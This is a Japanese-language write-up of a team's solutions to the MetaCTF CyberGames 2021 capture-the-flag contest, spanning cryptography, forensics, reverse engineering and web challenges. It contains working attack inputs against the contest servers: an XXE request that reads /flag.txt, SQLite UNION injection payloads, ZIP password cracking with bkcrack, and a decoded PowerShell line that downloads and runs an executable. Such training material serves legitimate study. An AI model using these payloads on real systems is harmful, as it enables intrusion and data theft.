MetaCTF CyberGames 2021 Writeup

この大会は2021/12/4 5:00(JST)~2021/12/6 5:00(JST)に開催されました。
今回もチームで参戦。結果は7600点で238チーム中77位でした。
自分で解けた問題をWriteupとして書いておきます。

Flag Format (Other 50)

問題にフラグが書いてあった。

MetaCTF{string_separated_with_und3rscores}

A to Z (Cryptography 100)

Atbash cipher。https://www.geocachingtoolbox.com/index.php?lang=en&page=atbashCipherで復号する。

bashful_is_my_fav_dwarf
MetaCTF{bashful_is_my_fav_dwarf}

Magic in the Hex (Forensics 100)

VMDKファイルのマジックナンバーを答える。

KDMV
MetaCTF{KDMV}

There Are No Strings on Me (Reverse Engineering 100)

$ strings strings | grep MetaCTF
MetaCTF{this_is_the_most_secure_ever}
MetaCTF{this_is_the_most_secure_ever}

This Ain't a Scene, It's an Encryption Race (Other 100)

MITRE ATT&CKで業務に影響を与えるために暗号化するテクニックIDを調べる。

T1486
MetaCTF{T1486}

Thnks fr th Pwds (Cryptography 100)

base64デコードする。

$ echo TWV0YUNURntlbmNvZGluZ19pc19OMFRfdGhlX3NhbWVfYXNfZW5jcnlwdGlvbiEhfQ== | base64 -d
MetaCTF{encoding_is_N0T_the_same_as_encryption!!}
MetaCTF{encoding_is_N0T_the_same_as_encryption!!}

Under Inspection (Web Exploitation 100)

HTMLソースを見ると、以下のスクリプト部分がある。

<script>
function loginSubmission() {
	var username = document.getElementById("username").value;
	var password = document.getElementById("password").value;
	var result = document.getElementById("result");
	var accounts = [
		{user: "Admin", pwd: "MetaCTF{super_secure_password}"},
    {user: "Bumblebee", pwd: "MetaCTF{sting_like_a_bee}"},
    {user: "Starscream", pwd: "MetaCTF{the_best_leader_of_the_decepticons}"},
    {user: "Jazz", pwd: "MetaCTF{do_it_with_style_or_dont_do_it_at_all}"},
    {user: "Megatron", pwd: "MetaCTF{peace_through_tyranny}"},
	];

	for(var a in accounts) {
		if(accounts[a].user == username && accounts[a].pwd == password) {
			if(username == "Jazz") {
				result.innerHTML = "Welcome, Jazz. The flag is " + password;
			} else {
				result.innerHTML = "Welcome, " + username + ".";
			}
			return false;
		}
	}
	result.innerHTML = "Login Failed. Please try again";
	return false;
}
</script>

Jazzユーザのパスワードがフラグ。

MetaCTF{do_it_with_style_or_dont_do_it_at_all}

Wrong Way on a One Way Street (Cryptography 100)

sha1らしき文字列が与えられるので、CrackStationでクラックする。

babyloka13
MetaCTF{babyloka13}

My Logs Know What You Did (Forensics 125)

base64部分をデコードする。

$ echo TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vTWV0YUNURntzdXBlcl9zdXNfc3Q0Z2luZ19zaXRlX2QwdF9jMG19L19iYWQuZXhlJywnYmFkLmV4ZScpO1N0YXJ0LVByb2Nlc3MgJ2JhZC5leGUn | base64 -d
New-Object System.Net.WebClient).DownloadFile('http://MetaCTF{super_sus_st4ging_site_d0t_c0m}/_bad.exe','bad.exe');Start-Process 'bad.exe'
MetaCTF{super_sus_st4ging_site_d0t_c0m}

Sugar, We're Goin Up (Reconnaissance 125)

以下の重大な脆弱性のCVE番号を答える問題。

2021年9月、GitLabは重大なリモートコード実行の脆弱性のCVSSv3スコアを可能な限り最高のスコアである10.0にアップグレードしました。 
パッチは4月にリリースされましたが、公開されているパッチが適用されていないGitLabインスタンスの多くは脆弱なままです。

この情報について調べると、以下のページなどに記載されている。

https://www.rapid7.com/blog/post/2021/11/01/gitlab-unauthenticated-remote-code-execution-cve-2021-22205-exploited-in-the-wild/
CVE-2021-22205

I Just Wanna Run (Forensics 150)

ランサムウェアの実行に使用することを計画しているユーザーアカウントを答える問題。
exe.batを見ると、実行ユーザがわかる。

METAL\timq-admin

Sharing Files and Passwords (Forensics 150)

pcapからパスワードを答える問題。ftpでフィルタリングして、TCP Streamを見てみる。

220 (vsFTPd 3.0.3)
USER metagamer
331 Please specify the password.
PASS ftp_is_better_than_dropbox
230 Login successful.
    :

パスワードは以下であるとわかる。

ftp_is_better_than_dropbox
MetaCTF{ftp_is_better_than_dropbox}

Still Believe in Magic? (Forensics 150)

$ file magic
magic: Zip archive data, at least v2.0 to extract
$ mv magic magic.zip
$ unzip magic.zip
Archive:  magic.zip
  inflating: magic.txt               
   creating: __MACOSX/
  inflating: __MACOSX/._magic.txt    
$ cat magic.txt
MetaCTF{was_it_a_magic_trick_or_magic_bytes?}
MetaCTF{was_it_a_magic_trick_or_magic_bytes?}

Unbreakable Encryption (Cryptography 150)

Ciphertext 1とPlaintext 1をXORし、鍵を求める。その鍵を使って、Ciphertext 2とXORし、復号する。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

ct1 = '4fd098298db95b7f1bc205b0a6d8ac15f1f821d72fbfa979d1c2148a24feaafdee8d3108e8ce29c3ce1291'
pt1 = 'hey let\'s rob the bank at midnight tonight!'
ct2 = '41d9806ec1b55c78258703be87ac9e06edb7369133b1d67ac0960d8632cfb7f2e7974e0ff3c536c1871b'

key = strxor(bytes.fromhex(ct1), pt1.encode())
pt2 = strxor(bytes.fromhex(ct2), key[:len(bytes.fromhex(ct2))]).decode()
print(pt2)

復号結果は以下の通り。

flag is MetaCTF{you're_better_than_steve!}
MetaCTF{you're_better_than_steve!}

Size Matters (Cryptography 175)

RSA暗号。nを素因数分解する。

$ python -m primefac 7409108828132483935605377602576376117
7409108828132483935605377602576376117: 430535396861370041 17209058493553260637

n = p * q とすると、p, q は以下の値になる。

p = 430535396861370041
q = 17209058493553260637

あとはそのまま復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

c = 0x2526512a4abf23fca755defc497b9ab
e = 257
n = 0x592f144c0aeac50bdf57cf6a6a6e135

p = 430535396861370041
q = 17209058493553260637
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)

復号結果は以下の通り。

you_broke_rsa!
MetaCTF{you_broke_rsa!}

Et tu, Hacker? (Forensics 200)

イベントログを見ると、何回もログオンに使われているユーザ名がわかる。

ericm
MetaCTF{ericm}

Company Picnic (Cryptography 225)

たくさん公開鍵パラメータがあるので、最大公約数を持っているものだけ秘密鍵を文字列化したものを連結する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('public_keys.txt', 'r') as f:
    lines = f.read().splitlines()[:-1]

ns = []
es = []
for i in range(len(lines)):
    if i % 3 == 0:
        N = int(lines[i].split(' ')[-1], 16)
        ns.append(N)
    elif i % 3 == 1:
        e = int(lines[i].split(' ')[-1], 16)
        es.append(e)

flag = b''
for i in range(len(ns)):
    found = False
    for j in range(len(ns)):
        if i == j:
            continue
        p = GCD(ns[i], ns[j])
        if p > 1 and p != ns[i]:
            found = True
            break
    if found:
        q = ns[i] // p
        phi = (p - 1) * (q - 1)
        d = inverse(es[i], phi)
        flag += long_to_bytes(d)

flag = flag.decode()
print(flag)
MetaCTF{Oops_those_primes_are_not_that_randoM}

Easy as it (TCP) Streams (Forensics 250)

WiresharkTCP Streamを見る。

..... ..#..'........!.."..... .....#.....'...............Ubuntu 16.04.2 LTS
Yu_Caleb login: calebyu
Password: 
Last login: Sat Oct 23 16:29:24 EDT 2021 from 10.0.2.9 on pts/4
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

.]0;calebyu@Yu_Caleb: ~..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~.[00m$ cd flags
.]0;calebyu@Yu_Caleb: ~/flags..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~/flags.[00m$ gpg --import private.asc
gpg: key D0B914EF: already in secret keyring
gpg: Total number processed: 1
gpg:       secret keys read: 1
gpg:  secret keys unchanged: 1
.]0;calebyu@Yu_Caleb: ~/flags..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~/flags.[00m$ gpgp..[K --batch --yes --passphrase farnha message.pgp
gpg: encrypted with 1024-bit RSA key, ID A90FEAFD, created 2021-10-23
      "Cable"
.]0;calebyu@Yu_Caleb: ~/flags..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~/flags.[00m$ ls
message  message.pgp  private.asc
.]0;calebyu@Yu_Caleb: ~/flags..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~/flags.[00m$ 

No.4のパケットからmessage.pgpをエクスポートできる。またNo.14のパケットからprivate.ascをエクスポートできる。パスフレーズは"farnha"を使っている。
CyberChefで以下を指定し、復号する。

・レシピ:PGP Decrypt
・Private key of recipient:private.ascの内容
・Private key passphrase:farnha
・Input:message.pgpをアップロード

まだ復号できない。さらに以下のレシピを追加する。

・Magic(Depth: 3)

f:id:satou-y:20211209121603p:plain

MetaCTF{cleartext_private_pgp_keys}

I Hate Python (Reverse Engineering 250)

コードの処理概要は以下の通り。

・x: 入力パスワード
・xの長さが25でなければ終了
・random.seed(997)
・k: 25個の0~256のランダム整数配列
・a: {index(0~): do_thing(ord([xの各文字]), kの各数値)}という形式のデータ
・b: 0~24の配列
 →random.shuffle(b)
・c: b配列の逆順をインデックスとするaの配列
・kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
・knのi番目の値はc[i]になっている必要がある。

seedがわかっているので、インデックスを含め、さまざまな値がわかっている。例えばフラグの1文字目はbのシャッフルで、比較する数値の位置が変わるがその場所は分かっているので、それを前提に1文字ずつブルートフォースする。

#!/usr/bin/env python3
import random

def do_thing(a, b):
    return ((a << 1) & b) ^ ((a << 1) | b)

random.seed(997)
k = [random.randint(0, 256) for _ in range(25)]

b = list(range(25))
random.shuffle(b)

kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]

flag = ''
for i in range(25):
    index = b[::-1].index(i)
    for code in range(32, 127):
        v = do_thing(code, k[i])
        if v == kn[index]:
            flag += chr(code)
            break

print(flag)
MetaCTF{yOu_w!N_th1$_0n3}

Ransomware Patch (Cryptography 250)

zipファイルはパスワードがかかっている。

$ zipinfo ransomware-final.zip
Archive:  ransomware-final.zip
Zip file size: 17227 bytes, number of entries: 17
drwx---     6.3 fat        0 bx stor 21-Nov-29 17:40 AES/
-rw-a--     6.3 fat    19017 Bx defN 21-Nov-29 16:35 AES/aes.c
-rw-a--     6.3 fat     2790 Bx defN 21-Nov-29 16:35 AES/aes.h
-rw-a--     6.3 fat      184 Bx defN 21-Nov-29 16:35 AES/aes.hpp
-rw-a--     6.3 fat      366 Bx defN 21-Nov-29 16:35 AES/CMakeLists.txt
-rw-a--     6.3 fat     2050 Bx defN 21-Nov-29 16:35 AES/conanfile.py
-rw-a--     6.3 fat      279 Bx defN 21-Nov-29 16:35 AES/library.json
-rw-a--     6.3 fat      557 Bx defN 21-Nov-29 16:35 AES/library.properties
-rw-a--     6.3 fat     1261 Bx defN 21-Dec-03 12:29 AES/Makefile
-rw-a--     6.3 fat     4783 Bx defN 21-Nov-29 16:35 AES/README.md
-rw-a--     6.3 fat    15539 Bx defN 21-Nov-29 16:35 AES/test.c
-rw-a--     6.3 fat       37 Bx stor 21-Nov-29 16:35 AES/test.cpp
drwx---     6.3 fat        0 bx stor 21-Nov-29 16:43 AES/test_package/
-rw-a--     6.3 fat      313 Bx defN 21-Nov-29 16:35 AES/test_package/CMakeLists.txt
-rw-a--     6.3 fat      413 Bx defN 21-Nov-29 16:35 AES/test_package/conanfile.py
-rw-a--     6.3 fat     1211 Bx defN 21-Nov-29 16:35 AES/unlicense.txt
-rw-a--     6.3 fat       33 Bx stor 21-Nov-29 16:38 key
17 files, 48833 bytes uncompressed, 14623 bytes compressed:  70.1%

aes.cなどと同じファイルがないか調べると、以下のページが見つかる。

https://github.com/kokke/tiny-AES-c

conanfile.pyなどもあるので、おそらくこのソースが使われている。bkcrackでクラックしてみる。その際aes.cを7zipで圧縮レベルを「標準」、圧縮方式を「Deflate」でzip圧縮して、aes.zipとして保存する。

$ ./bkcrack -C ransomware-final.zip -c AES/aes.c -p aes.c -P aes.zip
bkcrack 1.0.0 - 2020-11-11
Generated 4194304 Z values.
[09:56:26] Z reduction using 5516 bytes of known plaintext
100.0 % (5516 / 5516)
1550 values remaining.
[09:56:28] Attack on 1550 Z values at index 67
Keys: a71f05f4 18438c7b 1cf62c29 
85.2 % (1320 / 1550)
[09:56:32] Keys
a71f05f4 18438c7b 1cf62c29

$ ./bkcrack -C ransomware-final.zip -c key -k a71f05f4 18438c7b 1cf62c29 -d key
bkcrack 1.0.0 - 2020-11-11
Wrote deciphered text.
$ cat key
MetaCTF{license_is_hard_to_spell}
MetaCTF{license_is_hard_to_spell}

Leaky Logs (Web Exploitation 300)

Event Logsの画面の検索キーに"a"と入力して、Enterをすると、以下のペイロードが送信される。

<params><query>a</query></params>

XXEの問題のようだ。XXEを使って、/flag.txtを読み取る。

$ curl -H 'Content-Type:text/xml' http://host1.metaproblems.com:4920/api/event_log -d '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]><params><query>&xxe;</query></params>'
<events filtering_by="MetaCTF{el3m3nt4l_3xtern4lit1e5}&#10;"/>
MetaCTF{el3m3nt4l_3xtern4lit1e5}

Looking Inwards (Web Exploitation 300)

GraphQLのAPIサーバだとのことなので、情報を収集してみる。

$ get-graphql-schema https://metaproblems.com/bb0e56b64e0a17b47450457b07fd2353/graphql.php
type Mutation {
  sum(x: Int!, y: Int!): Int!
}

type Query {
  echo(message: String!): String!
  super_super_secret_flag_dispenser(authorized: Boolean!): String!
}

GraphQLで問い合わせをする。Endpointを https://metaproblems.com/bb0e56b64e0a17b47450457b07fd2353/graphql.php に設定する。
以下のクエリを投げる。

query {
  super_super_secret_flag_dispenser(authorized: true)
}

すると、以下のようなレスポンスが返ってきた。

{
  "data": {
    "super_super_secret_flag_dispenser": "MetaCTF{look_deep_and_who_knows_what_you_might_find}"
  }
}
MetaCTF{look_deep_and_who_knows_what_you_might_find}

Yummy Vegetables (Web Exploitation 300)

SQLiteSQLインジェクション。unionを使って、データを取得していく。

■Z' union select 1, 2, 3 --
Vegetable Name	Color
2	3

■Z' union select 1, name, 3 from sqlite_master where type = 'table' --
Vegetable Name	Color
sqlite_sequence	3
the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5	3
veggies	3

■Z' union select 1, sql, 3 from sqlite_master --
Vegetable Name	Color
CREATE TABLE "the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5" (flag TEXT)	3
CREATE TABLE sqlite_sequence(name,seq)	3
CREATE TABLE veggies (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, color TEXT)	3

■Z' union select 1, flag, 3 from the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5 --
Vegetable Name	Color
MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}	3
MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}

MetaCTF CyberGames 2021 Feedback (Other 200)

アンケートに答えたら、フラグが表示された。

MetaCTF{thanks_for_hacking_with_us_this_weekend}